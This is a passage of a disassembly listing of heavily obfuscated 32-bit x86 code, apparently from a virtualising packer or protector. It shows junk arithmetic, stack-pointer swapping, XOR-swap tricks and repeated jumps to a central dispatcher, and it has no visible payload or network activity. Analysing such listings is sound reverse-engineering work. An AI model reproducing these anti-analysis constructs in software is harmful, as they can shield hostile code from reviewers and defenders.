		pop	ebp
		xor	esi, [esp-6E5Ah+arg_6E50+2]
		xor	[esp-6E5Ah+arg_6E50+2],	esi
		xor	esi, [esp-6E5Ah+arg_6E50+2]
		mov	esp, [esp-6E5Ah+arg_6E50+2]
		push	ebx
		mov	ebx, 3FF416D5h
		jmp	loc_592746
; ---------------------------------------------------------------------------


loc_599522:				; CODE XREF: sub_581EE9+20AD6j
		push	ebp
		mov	ebp, 631B4217h
		inc	ebp
		add	ebp, 6C5F5AF0h
		jmp	loc_5A0E7C
; ---------------------------------------------------------------------------


loc_599534:				; CODE XREF: sub_581EE9+1549Cj
		add	ebx, 0E76AD2C0h
		sub	esi, ebx
		pop	ebx
		add	edx, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	[esp-6E86h+arg_6E80+2]
		pop	edx
		pop	[esp-6E86h+arg_6E7C+2]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59AE66
; ---------------------------------------------------------------------------
		neg	word ptr [esp-6E8Ah+arg_6E80+2]
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59956B:				; CODE XREF: sub_581EE9+1F729j
		mov	edi, 6A09156Fh
		add	edi, 95F6EA93h
		jmp	loc_59B813
; ---------------------------------------------------------------------------


loc_59957B:				; CODE XREF: sub_581EE9+152D7j
		push	[esp-6E66h+arg_6E5C+2]
		jmp	loc_59C7A0
; ---------------------------------------------------------------------------
		push	ebx
		sub	esp, 4
		mov	[esp-6E5Ah+arg_6E50+2],	edi
		jmp	loc_5A466F
; ---------------------------------------------------------------------------


loc_59958F:				; CODE XREF: sub_581EE9+1491Cj
		push	small 3D14h
		mov	word ptr [esp-6E64h+arg_6E5C], cx
		mov	cl, 9
		sub	al, 85h
		sub	esp, 2
		mov	word ptr [esp-6E60h+arg_6E58], bx
		mov	bl, 46h
		sub	al, bl
		pop	bx
		jmp	loc_5984EE
; ---------------------------------------------------------------------------


loc_5995AD:				; CODE XREF: sub_581EE9+178F9j
		sub	al, 81h
		mov	edx, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E62h+arg_6E58+2],	eax
		mov	ah, 1
		add	bl, ah
		jmp	loc_596CE1
; ---------------------------------------------------------------------------


loc_5995C7:				; CODE XREF: sub_581EE9+10D17j
		push	dword ptr [esp-6E7Eh+arg_6E7A]
		pop	esi
		jmp	loc_596965
; ---------------------------------------------------------------------------


loc_5995D1:				; CODE XREF: sub_581EE9+1A18Fj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5976FC
; ---------------------------------------------------------------------------


loc_5995DC:				; CODE XREF: sub_581EE9+1EBC8j
		mov	ebp, 2B703B1Ch
		sub	ebp, 1189FF95h
		add	edx, 4BA53CEDh
		jmp	loc_59EA2F
; ---------------------------------------------------------------------------


loc_5995F2:				; CODE XREF: sub_581EE9+191B9j
		push	edi
		mov	edi, 6E192E1Ah
		jmp	loc_59F6C4
; ---------------------------------------------------------------------------
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599602:				; CODE XREF: sub_581EE9+188B2j
		mov	[esp-6E7Eh+arg_6E76], edi
		xor	[esp-6E7Eh+arg_6E76], 121F4C10h
		pop	ecx
		xor	ecx, 121F4C10h
		mov	edi, dword ptr [esp-6E82h+arg_6E7A]
		add	esp, 4
		jmp	loc_59370D
; ---------------------------------------------------------------------------


loc_59961E:				; CODE XREF: sub_581EE9+108D6j
		xor	edi, eax
		pop	eax
		xor	edi, 33014E69h
		not	edi
		push	edx
		mov	edx, 33D502A4h
		dec	edx
		inc	edx
		jmp	loc_59AD7F
; ---------------------------------------------------------------------------


loc_599636:				; CODE XREF: sub_581EE9+1B9B7j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59963B:				; CODE XREF: sub_581EE9+15898j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6E88h+arg_6E80]
		jmp	loc_5A22F1
; ---------------------------------------------------------------------------


loc_59964C:				; CODE XREF: sub_581EE9+21582j
		add	esp, 4
		jmp	loc_5A2D4A
; ---------------------------------------------------------------------------


loc_599654:				; CODE XREF: sub_581EE9+14FCCj
		pop	[esp-6E5Ah+arg_6E50+2]
		mov	esp, [esp-6E5Eh+arg_6E54+2]
		mov	[esp-6E5Eh+arg_6E54+2],	esi
		push	800h
		jmp	loc_59CF59
; ---------------------------------------------------------------------------


loc_599667:				; CODE XREF: sub_581EE9+10715j
		add	edx, 7DE1D4EDh
		sub	ebx, 113A723Eh
		jmp	loc_5A67E6
; ---------------------------------------------------------------------------


loc_599678:				; CODE XREF: sub_581EE9+1DB0Cj
		xor	eax, 32524337h
		add	edi, eax
		pop	eax
		sub	edi, 4
		jmp	loc_591FF6
; ---------------------------------------------------------------------------


loc_599688:				; CODE XREF: sub_581EE9+15923j
		pop	esp
		push	ecx
		mov	ecx, esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_59239D
; ---------------------------------------------------------------------------


loc_5996A0:				; CODE XREF: sub_581EE9+1B5D9j
		shl	ebx, 3
		dec	ebx
		not	ebx
		jmp	loc_59EB21
; ---------------------------------------------------------------------------


loc_5996AB:				; CODE XREF: sub_581EE9+1A5EDj
		sub	eax, 0A9A3D4B4h
		add	esi, eax
		pop	eax
		push	1EC8h
		jmp	loc_5A6C5A
; ---------------------------------------------------------------------------


loc_5996BD:				; CODE XREF: sub_581EE9+1ECFFj
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp-6E8Ch+arg_6E84]
		pop	esp
		push	ebp
		jmp	loc_599ED1
; ---------------------------------------------------------------------------


loc_5996D0:				; CODE XREF: sub_581EE9+11863j
		push	edx
		jmp	loc_5A1FDB
; ---------------------------------------------------------------------------
		push	[esp-6E82h+arg_6E7C+2]
		push	dword ptr [esp]
		mov	eax, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		sub	esp, 4
		jmp	loc_59A37A
; ---------------------------------------------------------------------------


loc_5996EE:				; CODE XREF: sub_581EE9+18465j
		push	683h
		mov	[esp-6E76h+arg_6E6E], ebx
		jmp	loc_59D427
; ---------------------------------------------------------------------------


loc_5996FB:				; CODE XREF: sub_581EE9+1CBF0j
		xor	ecx, eax
		push	[esp-6E76h+arg_6E6E]
		pop	eax
		add	esp, 4
		sub	ecx, 17313765h
		add	ecx, edi
		jmp	loc_598208
; ---------------------------------------------------------------------------


loc_599714:				; CODE XREF: sub_581EE9+1156Fj
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], ebx
		jmp	loc_59FFC6
; ---------------------------------------------------------------------------


loc_59971F:				; CODE XREF: sub_581EE9+17A10j
		xor	eax, 4DCD46CAh
		push	ebp
		jmp	loc_599A94
; ---------------------------------------------------------------------------


loc_59972A:				; CODE XREF: sub_581EE9+1D7D6j
		add	edx, 3D7129BEh
		and	edx, 701A11A3h
		sub	edx, 0E4848D92h
		jmp	loc_5A32EC
; ---------------------------------------------------------------------------


loc_599741:				; CODE XREF: sub_581EE9+2242Ej
		xor	ebx, 4CA205BAh
		dec	ebx
		sub	ebx, 2C2C70E7h
		add	ebx, 22FD00AFh
		push	ebp
		mov	ebp, 7CC83DA1h
		jmp	loc_5A4984
; ---------------------------------------------------------------------------


loc_59975F:				; CODE XREF: sub_581EE9+166BDj
		mov	ebp, 0FFFFFFFFh
		add	edx, 3CD82847h
		sub	edx, ebp
		sub	edx, 3CD82847h
		jmp	loc_596934
; ---------------------------------------------------------------------------
		push	[esp-6E6Ch+arg_6E64]
		pop	ecx
		jmp	loc_595FFA
; ---------------------------------------------------------------------------


loc_599780:				; CODE XREF: sub_581EE9+1A955j
		neg	eax
		neg	eax
		jmp	loc_59EF21
; ---------------------------------------------------------------------------


loc_599789:				; CODE XREF: sub_581EE9+14E71j
		push	[esp-6E9Ah+arg_6E92]
		pop	edx
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6E9Ah+arg_6E92]
		jmp	loc_5977C5
; ---------------------------------------------------------------------------


loc_5997AA:				; CODE XREF: sub_581EE9+1108Ej
		pop	[esp-6E62h+arg_6E58+2]
		jmp	loc_5924B6
; ---------------------------------------------------------------------------


loc_5997B2:				; CODE XREF: sub_581EE9+1EEDEj
		shl	ebx, 6
		xor	ebx, 0D1E33E69h
		sub	edx, ebx
		pop	ebx
		sub	esi, edx
		pop	edx
		add	esi, ebx
		add	esi, 6EFF34B9h
		pop	ebx
		xchg	esi, [esp-6E72h+arg_6E68+2]
		pop	esp
		push	0EF6h
		jmp	loc_5A193C
; ---------------------------------------------------------------------------


loc_5997D8:				; CODE XREF: sub_581EE9+1FF41j
		pop	[esp-6E72h+arg_6E68+2]
		mov	esp, [esp-6E76h+arg_6E6E]
		add	al, 81h
		sub	al, dl
		jmp	loc_5995AD
; ---------------------------------------------------------------------------


loc_5997E7:				; CODE XREF: sub_581EE9+1BD22j
		xchg	ebp, [esp-6E76h+arg_6E6E]
		pop	esp
		add	edx, eax
		jmp	loc_5A703E
; ---------------------------------------------------------------------------


loc_5997F2:				; CODE XREF: sub_581EE9+1D349j
		push	ebp
		jmp	loc_596DF8
; ---------------------------------------------------------------------------


loc_5997F8:				; CODE XREF: sub_581EE9+1A1E2j
		push	712Dh
		mov	[esp-6E72h+arg_6E68+2],	edx
		mov	edx, 439118DAh
		jmp	loc_59862C
; ---------------------------------------------------------------------------


loc_59980A:				; CODE XREF: sub_581EE9+22049j
		push	edx
		mov	edx, 800h
		push	edx
		pop	edi
		pop	edx
		and	eax, edi
		push	[esp-6E72h+arg_6E68+2]
		mov	edi, [esp-6E6Eh+arg_6E64+2]
		push	7C03h
		mov	[esp-6E6Ah+arg_6E60+2],	edx
		jmp	loc_59E6D2
; ---------------------------------------------------------------------------


loc_599828:				; CODE XREF: sub_581EE9+1C11Fj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp-6E66h+arg_6E5C+2]
		pop	esp
		mov	[esp-6E6Ah+arg_6E60+2],	ecx
		push	6EDh
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		mov	bh, dh
		mov	cl, bh
		pop	ebx
		jmp	loc_5A1160
; ---------------------------------------------------------------------------


loc_59984D:				; CODE XREF: sub_581EE9+16B02j
		not	[esp-6EA6h+arg_6E9E]
		jmp	loc_59BAA7
; ---------------------------------------------------------------------------


loc_599855:				; CODE XREF: sub_581EE9+1C48Bj
		pop	ebx
		and	ecx, 4DFA21EFh
		inc	ecx
		inc	ecx
		push	edx
		push	ecx
		mov	ecx, 264805C4h
		mov	edx, 27AA1BEDh
		add	edx, ecx
		pop	ecx
		sub	ecx, edx
		jmp	loc_59E935
; ---------------------------------------------------------------------------


loc_599874:				; CODE XREF: sub_581EE9+1364Cj
		mov	ebx, 0D1693534h
		add	esi, ebx
		pop	ebx
		or	eax, esi
		jmp	loc_5946C1
; ---------------------------------------------------------------------------


loc_599883:				; CODE XREF: sub_581EE9+18084j
		pop	ebx
		push	dx
		mov	dh, al
		push	eax
		mov	ah, dh
		push	small 39BEh
		mov	word ptr [esp-6E6Ch+arg_6E64], ax
		not	byte ptr [esp-6E6Ch+arg_6E64+1]
		jmp	loc_5A6898
; ---------------------------------------------------------------------------


loc_59989C:				; CODE XREF: sub_581EE9+173B0j
		inc	eax
		jmp	loc_59B603
; ---------------------------------------------------------------------------


loc_5998A2:				; CODE XREF: sub_581EE9+10F9Dj
		push	ebp
		jmp	loc_5A2490
; ---------------------------------------------------------------------------


loc_5998A8:				; CODE XREF: sub_581EE9+1F63Ej
		mov	[esp-6E66h+arg_6E5C+2],	ebx
		push	esp
		mov	ebx, [esp-6E62h+arg_6E58+2]
		jmp	loc_5A4EC9
; ---------------------------------------------------------------------------


loc_5998B4:				; CODE XREF: sub_581EE9+13FB3j
		sub	esi, 875418EDh
		add	eax, 775A5F72h
		jmp	loc_59F5E1
; ---------------------------------------------------------------------------


loc_5998C4:				; CODE XREF: sub_581EE9+16F20j
		mov	bh, 6Eh
		push	cx
		mov	cl, 4Dh
		add	bh, cl
		jmp	loc_5980F2
; ---------------------------------------------------------------------------


loc_5998D1:				; CODE XREF: sub_581EE9+1D5ABj
		push	ecx
		mov	ecx, 3F3D4FBCh
		neg	ecx
		xor	ecx, 0C0C2B040h
		add	edi, ecx
		jmp	loc_59F40D
; ---------------------------------------------------------------------------


loc_5998E6:				; CODE XREF: sub_581EE9+18E1Aj
		neg	ebp
		xor	ebp, 9DC1F044h
		add	edx, ebp
		pop	ebp
		push	eax
		mov	eax, 51C03186h
		shr	eax, 1
		jmp	loc_59971F
; ---------------------------------------------------------------------------


loc_5998FE:				; CODE XREF: sub_581EE9+16DCBj
		push	ecx
		mov	ecx, 55445C32h
		jmp	loc_5A1904
; ---------------------------------------------------------------------------


loc_599909:				; CODE XREF: sub_581EE9+2339Bj
		sub	esi, 7CBA5886h
		push	[esp-6E76h+arg_6E6E]
		pop	eax
		add	esp, 4
		xchg	esi, [esp-6E7Ah+arg_6E72]
		mov	esp, [esp-6E7Ah+arg_6E72]
		mul	ecx
		jmp	loc_597FEF
; ---------------------------------------------------------------------------


loc_599923:				; CODE XREF: sub_581EE9+143DBj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EA4h+arg_6E9A+2]
		pop	esp
		jmp	loc_5A4B32
; ---------------------------------------------------------------------------


loc_599938:				; CODE XREF: sub_581EE9+1F54Dj
		pop	esi
		jmp	loc_59435B
; ---------------------------------------------------------------------------


loc_59993E:				; CODE XREF: sub_581EE9+18708j
		add	ebx, ebp
		push	[esp-6EACh+arg_6EA4]
		mov	ebp, [esp-6EA8h+arg_6E9E+2]
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, 17CC3BF5h
		xor	ecx, 556C0AFFh
		sub	ebx, ecx
		pop	ecx
		sub	ebx, eax
		push	ecx
		mov	ecx, 597C22C3h
		shr	ecx, 4
		xor	ecx, 4737F326h
		sub	ebx, 65FA3386h
		jmp	loc_596859
; ---------------------------------------------------------------------------


loc_59997D:				; CODE XREF: sub_581EE9+20C0Fj
		pop	ebp
		push	[esp-6EB0h+arg_6EA8]
		pop	eax
		add	esp, 4
		sub	esi, 62706EB0h
		jmp	loc_599ACF
; ---------------------------------------------------------------------------


loc_599990:				; CODE XREF: sub_581EE9+24CF7j
		xor	[esp-6EB4h+arg_6EAC], eax
		xor	eax, [esp-6EB4h+arg_6EAC]
		jmp	loc_59F3FE
; ---------------------------------------------------------------------------


loc_59999B:				; CODE XREF: sub_581EE9+15519j
		add	edx, 0FC30242h
		jmp	loc_599D4F
; ---------------------------------------------------------------------------


loc_5999A6:				; CODE XREF: sub_581EE9+2149Bj
		add	eax, ebp
		add	eax, 7BFE2777h
		mov	ebp, [esp-6E52h+arg_6E48+2]
		add	esp, 4
		jmp	loc_59FA8F
; ---------------------------------------------------------------------------


loc_5999BB:				; CODE XREF: sub_581EE9+15D04j
		shr	ebp, 8
		neg	ebp
		neg	ebp
		xor	ebp, 1D0069B5h
		sub	ebp, 7AF429CEh
		mov	edi, ebp
		pop	ebp
		xor	esi, edi
		pop	edi
		mov	ebp, esi
		pop	esi
		xor	ebx, ebp
		mov	ebp, [esp-6E9Ah+arg_6E92]
		add	esp, 4
		add	eax, ebx
		mov	ebx, [esp-6E9Eh+arg_6E96]
		jmp	loc_59A39B
; ---------------------------------------------------------------------------


loc_5999EC:				; CODE XREF: sub_581EE9+1D143j
		push	71FEh
		mov	[esp-6E9Ah+arg_6E92], ebp
		push	edi
		push	423405C7h
		pop	edi
		mov	ebp, edi
		jmp	loc_596451
; ---------------------------------------------------------------------------


loc_599A02:				; CODE XREF: sub_581EE9+12EDAj
		pop	ebp
		pop	[esp-6EA6h+arg_6E9E]
		jmp	loc_597CF1
; ---------------------------------------------------------------------------


loc_599A0B:				; CODE XREF: sub_581EE9+12AA1j
		dec	edx
		jmp	loc_5988E7
; ---------------------------------------------------------------------------


loc_599A11:				; CODE XREF: sub_581EE9+211C6j
		xchg	edi, [esp-6E8Eh+arg_6E84+2]
		jmp	loc_5929A0
; ---------------------------------------------------------------------------


loc_599A19:				; CODE XREF: sub_581EE9+244CBj
		mov	ebp, [esp-6E8Eh+arg_6E84+2]
		add	esp, 4
		add	ecx, 2
		xor	ecx, [esp-6E92h+arg_6E8A]
		jmp	loc_5A0CF5
; ---------------------------------------------------------------------------


loc_599A2D:				; CODE XREF: sub_581EE9+1C5C5j
		push	4D55226Eh
		pop	ebp
		jmp	loc_5A2CAE
; ---------------------------------------------------------------------------


loc_599A38:				; CODE XREF: sub_581EE9+22D95j
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp-6E8Eh+arg_6E84+2],	ebx
		mov	ebx, 40051E48h
		sub	ebx, 40051E44h
		push	edi
		mov	edi, 41114863h
		add	edx, edi
		pop	edi
		add	edx, ebx
		sub	edx, 41114863h
		pop	ebx
		push	ebx
		mov	ebx, 3CE339C7h
		add	ebx, 36D81E52h
		jmp	loc_5A4F61
; ---------------------------------------------------------------------------


loc_599A6E:				; CODE XREF: sub_581EE9+160FAj
		xor	edx, [esp-6E7Ch+arg_6E72+2]
		mov	esp, [esp-6E7Ch+arg_6E72+2]
		div	cl
		movzx	cx, ah
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp-6E78h+arg_6E6E+2]
		jmp	loc_59319E
; ---------------------------------------------------------------------------


loc_599A94:				; CODE XREF: sub_581EE9+1783Cj
		mov	ebp, 206A2FA0h
		xor	ebp, 147368FEh
		or	eax, ebp
		pop	ebp
		xor	eax, 79A22362h
		push	esi
		jmp	loc_59F29B
; ---------------------------------------------------------------------------
		pop	dword ptr [edx]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599AB4:				; CODE XREF: sub_581EE9+153ECj
		sub	di, si
		pop	si
		sub	bx, di
		pop	edi
		add	bx, 49EFh
		add	bx, ax
		sub	bx, 49EFh
		jmp	loc_59770E
; ---------------------------------------------------------------------------


loc_599ACF:				; CODE XREF: sub_581EE9+17AA2j
		sub	esi, 72FC6043h
		add	esi, 61B55059h
		add	esi, edx
		sub	esi, 61B55059h
		add	esi, 72FC6043h
		push	ebx
		mov	ebx, 62706EB0h
		add	esi, ebx
		jmp	loc_593E53
; ---------------------------------------------------------------------------


loc_599AF6:				; CODE XREF: sub_581EE9+13824j
		add	ebx, edi
		pop	edi
		push	eax
		mov	eax, 1F814FDCh
		sub	eax, 7E674D03h
		sub	eax, 0A857166h
		jmp	loc_5A0735
; ---------------------------------------------------------------------------


loc_599B0E:				; CODE XREF: sub_581EE9+1B289j
		neg	bh
		inc	bh
		sub	bh, 64h
		jmp	loc_599F6B
; ---------------------------------------------------------------------------


loc_599B1A:				; CODE XREF: sub_581EE9+16B2Dj
		push	ebx
		push	edi
		mov	edi, 19B01593h
		mov	ebx, edi
		pop	edi
		jmp	loc_59D6C1
; ---------------------------------------------------------------------------


loc_599B29:				; CODE XREF: sub_581EE9+24948j
		sub	eax, 55AF3EFAh
		jmp	loc_5A1D46
; ---------------------------------------------------------------------------


loc_599B33:				; CODE XREF: sub_581EE9+214E4j
		shl	ebp, 7
		jmp	loc_5A69D0
; ---------------------------------------------------------------------------


loc_599B3B:				; CODE XREF: sub_581EE9+13038j
		pop	edx
		add	eax, ebx
		jmp	loc_59467A
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5A3306
; ---------------------------------------------------------------------------


loc_599B4B:				; CODE XREF: sub_581EE9+12E82j
		mov	edx, [esp-6EB4h+arg_6EAC]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EB0h+arg_6EA8]
		pop	esp
		jmp	loc_595C0E
; ---------------------------------------------------------------------------


loc_599B62:				; CODE XREF: sub_581EE9+2521Aj
		sub	esp, 4
		mov	[esp-6EB0h+arg_6EA8], eax
		mov	ah, 95h
		add	bh, ah
		pop	eax
		mov	ch, bh
		jmp	loc_5A323F
; ---------------------------------------------------------------------------


loc_599B77:				; CODE XREF: sub_581EE9+1FDA2j
		mov	ecx, 5F4E0C1Fh
		mov	ebx, ecx
		pop	ecx
		jmp	loc_59DF8A
; ---------------------------------------------------------------------------


loc_599B84:				; CODE XREF: sub_581EE9+1BB3Bj
		add	esi, edx
		push	dword ptr [esp+0]
		mov	edx, [esp-6EB4h+arg_6EAC]
		push	3EBDh
		jmp	loc_5958B1
; ---------------------------------------------------------------------------


loc_599B96:				; CODE XREF: sub_581EE9+18B56j
		push	[esp-6EB0h+arg_6EA8]
		push	[esp-6EACh+arg_6EA4]
		pop	edx
		jmp	loc_5965A3
; ---------------------------------------------------------------------------


loc_599BA2:				; CODE XREF: sub_581EE9+19C5Fj
		sub	ch, 0EBh
		sub	al, ch
		mov	ecx, [esp-6EACh+arg_6EA4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		push	ebx
		mov	bl, 5Eh
		jmp	loc_59CC6F
; ---------------------------------------------------------------------------


loc_599BC2:				; CODE XREF: sub_581EE9+1C1FDj
		mov	cl, 0C0h
		mov	bh, 52h
		sub	bh, cl
		pop	ecx
		sub	bh, ch
		pop	ecx
		mov	ch, 0CBh
		sub	ch, 87h
		add	ch, bh
		add	ch, 87h
		pop	ebx
		sub	esp, 4
		jmp	loc_594F8B
; ---------------------------------------------------------------------------


loc_599BDF:				; CODE XREF: sub_581EE9+13852j
		push	6FCAh
		push	esp
		pop	[esp-6E46h+arg_6E3E]
		add	dword ptr [esp+0], 4
		jmp	loc_59BC6D
; ---------------------------------------------------------------------------


loc_599BF1:				; CODE XREF: sub_581EE9+104D9j
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		push	esp
		pop	esi
		jmp	loc_59E7BF
; ---------------------------------------------------------------------------


loc_599BFB:				; CODE XREF: sub_581EE9+12EF9j
		and	ecx, ebx
		pop	ebx
		push	edx
		jmp	loc_596CE7
; ---------------------------------------------------------------------------


loc_599C04:				; CODE XREF: sub_581EE9+121B3j
		or	ebx, ebp
		mov	ebp, [esp-6E76h+arg_6E6E]
		add	esp, 4
		or	ebx, 2023D20h
		xor	ebx, 7FAE00D9h
		push	edx
		mov	edx, ebx
		mov	ebp, edx
		pop	edx
		jmp	loc_59DEB7
; ---------------------------------------------------------------------------


loc_599C23:				; CODE XREF: sub_581EE9+16FE4j
		pop	ecx
		add	ebx, ecx
		push	edx
		mov	edx, 6D585C6Ah
		or	edx, 57140002h
		jmp	loc_59F503
; ---------------------------------------------------------------------------


loc_599C37:				; CODE XREF: sub_581EE9+1F5F9j
		neg	edx
		push	0
		sub	[esp-6EA2h+arg_6E9A], edx
		pop	edx
		jmp	loc_59B210
; ---------------------------------------------------------------------------


loc_599C47:				; CODE XREF: sub_581EE9+1175Aj
		push	2033h
		jmp	loc_597EDB
; ---------------------------------------------------------------------------


loc_599C51:				; CODE XREF: sub_581EE9+216FEj
		pop	ebp
		push	6498h
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebp
		mov	ebp, 3A5F5DEAh
		jmp	loc_59AE49
; ---------------------------------------------------------------------------


loc_599C64:				; CODE XREF: sub_581EE9+223E0j
		and	edx, esi
		pop	esi
		push	ecx
		jmp	loc_592947
; ---------------------------------------------------------------------------


loc_599C6D:				; CODE XREF: sub_581EE9+18158j
		pop	ebx
		push	721h
		mov	dword ptr [esp-6E82h+arg_6E7A],	ebx
		mov	ebx, 2C1E10EBh
		xor	ebx, 6E2E657Fh
		add	ebx, 0C9E8D75Eh
		add	eax, ebx
		pop	ebx
		add	eax, ecx
		sub	eax, 0C194CF2h
		sub	esp, 4
		mov	dword ptr [esp-6E82h+arg_6E7A],	edx
		push	ebx
		mov	ebx, 58BF66F2h
		mov	edx, ebx
		mov	ebx, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		add	eax, edx
		pop	edx
		pop	ecx
		push	1599h
		mov	[esp-6E86h+arg_6E7C+2],	eax
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 7A0421A0h
		sub	ebp, 7A04219Ch
		add	eax, ebp
		jmp	loc_5A562A
; ---------------------------------------------------------------------------


loc_599CCC:				; CODE XREF: sub_581EE9+195B2j
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 45D125E5h
		shl	esi, 2
		neg	esi
		push	edi
		mov	edi, 0DE15F5Bh
		or	edi, 5262068Bh
		or	edi, 7ACC04EDh
		jmp	loc_59F031
; ---------------------------------------------------------------------------


loc_599CF5:				; CODE XREF: sub_581EE9+1846Cj
		mov	edx, ebp
		pop	ebp
		mov	edi, edx
		mov	edx, [esp-6E7Eh+arg_6E76]
		jmp	loc_5A2527
; ---------------------------------------------------------------------------


loc_599D02:				; CODE XREF: sub_581EE9+1A87Bj
		add	esp, 4
		push	edx
		mov	edx, 2BFB1DFAh
		dec	edx
		sub	edx, 0C5DD2Fh
		jmp	loc_5A1A95
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], esi
		jmp	loc_5A1985
; ---------------------------------------------------------------------------


loc_599D2B:				; CODE XREF: sub_581EE9+23981j
		pop	esi
		pop	[esp-6E7Eh+arg_6E76]
		pop	esp
		sub	byte ptr [esp-6E86h+arg_6E7C+2], al
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599D39:				; CODE XREF: sub_581EE9+1F053j
		sub	esi, ebx
		add	esi, 632C664Eh
		jmp	loc_5A0642
; ---------------------------------------------------------------------------


loc_599D46:				; CODE XREF: sub_581EE9+1DE07j
		pop	edx
		mov	ebp, [esp-6E86h+arg_6E7C+2]
		jmp	loc_5A5EA1
; ---------------------------------------------------------------------------


loc_599D4F:				; CODE XREF: sub_581EE9+17AB8j
		pop	ebx
		add	edx, eax
		sub	edx, 56637FFAh
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599D5D:				; CODE XREF: sub_581EE9+167B4j
		mov	eax, 4
		add	ebp, 56F7E84h
		sub	ebp, 11F713B7h
		jmp	loc_5A3C87
; ---------------------------------------------------------------------------


loc_599D73:				; CODE XREF: sub_581EE9+14994j
		mov	esi, 13863A7Eh
		push	427Fh
		jmp	loc_59D48A
; ---------------------------------------------------------------------------


loc_599D82:				; CODE XREF: sub_581EE9+1D5A3j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6E62h+arg_6E58+2]
		pop	esp
		xchg	eax, [esp-6E66h+arg_6E5C+2]
		pop	esp
		mov	[esp-6E6Ah+arg_6E60+2],	esp
		add	[esp-6E6Ah+arg_6E60+2],	4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599DA2:				; CODE XREF: sub_581EE9+251B1j
		shr	al, 6
		jmp	loc_59EFCF
; ---------------------------------------------------------------------------


loc_599DAA:				; CODE XREF: sub_581EE9+189F8j
		push	9D1h
		mov	[esp-6E66h+arg_6E5C+2],	ecx
		push	ebx
		push	eax
		mov	ah, 79h
		mov	bh, 8Dh
		xor	bh, ah
		pop	eax
		push	edx
		jmp	loc_59B400
; ---------------------------------------------------------------------------


loc_599DC1:				; CODE XREF: sub_581EE9+2363Dj
		push	ecx
		mov	ecx, esp
		jmp	loc_594AFC
; ---------------------------------------------------------------------------


loc_599DC9:				; CODE XREF: sub_581EE9+16EF9j
		xor	edi, [esp-6EA4h+arg_6E9A+2]
		xor	[esp-6EA4h+arg_6E9A+2],	edi
		xor	edi, [esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		jmp	loc_5A1746
; ---------------------------------------------------------------------------


loc_599DDA:				; CODE XREF: sub_581EE9+20FCCj
		mov	[esp-6EA4h+arg_6E9A+2],	ebx
		mov	ebx, 4
		add	edx, ebx
		jmp	loc_59ED23
; ---------------------------------------------------------------------------


loc_599DE9:				; CODE XREF: sub_581EE9+174FFj
		add	ebx, 40683A68h
		push	[esp-6E9Ah+arg_6E92]
		jmp	loc_59829E
; ---------------------------------------------------------------------------


loc_599DF7:				; CODE XREF: sub_581EE9+1DDF9j
		shr	ecx, 1
		add	ecx, 0FF09DC37h
		add	ebp, ecx
		mov	ecx, [esp-6E96h+arg_6E8E]
		push	ebx
		mov	ebx, esp
		push	34F0h
		mov	[esp-6E8Eh+arg_6E84+2],	edi
		mov	edi, 40EB6C35h
		neg	edi
		or	edi, 0AEF005Ah
		sub	edi, 0BFFF93D7h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	ebx
		push	[esp-6E8Eh+arg_6E8A]
		pop	ebx
		jmp	loc_5A494E
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5A2BDC
; ---------------------------------------------------------------------------


loc_599E3C:				; CODE XREF: sub_581EE9+1EE00j
		mov	edi, 6696056Eh
		add	ebp, edi
		pop	edi
		sub	ebp, 2F3315Bh
		mov	edx, [esp-6E92h+arg_6E8A]
		add	esp, 4
		xor	ebp, [esp-6E96h+arg_6E8E]
		jmp	loc_5A4A22
; ---------------------------------------------------------------------------


loc_599E5B:				; CODE XREF: sub_581EE9+1D51Fj
		push	edx
		push	1847h
		mov	[esp-6E8Eh+arg_6E84+2],	esp
		add	[esp-6E8Eh+arg_6E84+2],	4
		pop	edx
		add	edx, 4
		jmp	loc_5A042F
; ---------------------------------------------------------------------------
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59891E
; ---------------------------------------------------------------------------


loc_599E88:				; CODE XREF: sub_581EE9+15FEDj
